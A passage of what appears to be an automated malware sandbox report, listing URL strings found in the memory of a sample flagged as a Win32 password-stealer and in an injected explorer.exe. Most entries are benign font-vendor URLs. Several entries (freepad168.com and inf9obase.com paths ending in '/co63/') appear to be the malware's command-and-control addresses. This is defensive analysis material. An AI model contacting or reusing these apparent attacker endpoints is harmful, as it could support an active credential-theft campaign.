Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394715282.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394288066.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395479456.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394791085.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394930632.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394602661.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coma
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396640059.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comalsd~
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comcom6
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395023468.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395121921.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comcoma
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394715282.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394791085.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394930632.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394602661.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comde
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395526111.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394715282.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395411777.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395360507.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395641687.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394343348.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394288066.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395479456.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394466935.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396640059.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394791085.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394930632.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394403535.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comdia
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394715282.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395411777.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395360507.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394558568.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394791085.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394930632.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394602661.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395023468.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395121921.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comedet
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394212105.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.coml
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395278067.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395526111.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395411777.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395360507.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395641687.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395479456.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395023468.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395121921.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.commA
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401891749.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comrsiv
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395526111.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396031854.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395847311.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396121393.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395641687.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395903699.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395479456.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395807046.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395753968.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.395704173.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.396210983.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comsivt
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.394212105.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.fontbureau.comursiv
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.fonts.com
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390314780.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390741938.0000000005742000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390654824.0000000005747000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390882423.0000000005747000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390314780.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390372892.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390236589.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390359851.0000000005776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn-
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/bThe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cn/cThe
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390314780.0000000005776000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.390359851.0000000005776000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.founder.com.cn/cnu-eN
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.freepad168.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.freepad168.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.freepad168.com/co63/www.pym479.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.freepad168.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398342627.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398248570.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/DPlease
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399392378.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399863925.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.402229452.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.403042832.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400763636.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.403222822.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401400253.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401767137.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399024629.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398668360.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400637848.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399621408.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399465444.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.401711594.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400330810.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400548672.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400168473.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398342627.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.399316118.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.398897872.000000000575A000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.400393573.000000000575A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.galapagosdesign.com/staff/dennis.htm
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://www.goodfont.co.kr
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.inf9obase.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.inf9obase.com/co63/
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.inf9obase.com/co63/www.cucinainvenice.com
Source: explorer.exe, 0000000F.00000003.585527258.000000000F0AC000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.574369672.000000000F0A7000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.567388983.000000000F081000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.623765618.000000000F0AF000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.558800756.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 0000000F.00000003.564245128.000000000F0A8000.00000004.00000001.00020000.00000000.sdmp	String found in binary or memory: http://www.inf9obase.comReferer:
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392066294.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392167050.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391867029.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392276202.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392786588.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392020681.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392926230.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392117186.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392383105.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392213201.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000002.438709862.0000000006DF2000.00000004.00000800.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392322140.0000000005757000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392547177.0000000005757000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/$
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391472420.0000000005754000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391672235.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391554635.0000000005756000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.jiyu-kobo.co.jp/6
Source: SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392066294.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391405610.0000000005755000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391725464.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391867029.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391782567.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.392020681.0000000005756000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Win32.PWSX-gen.11935.10916.exe, 00000000.00000003.391280868.0000000005751000.00000004.00000020.00020000.00000000.sdmp, 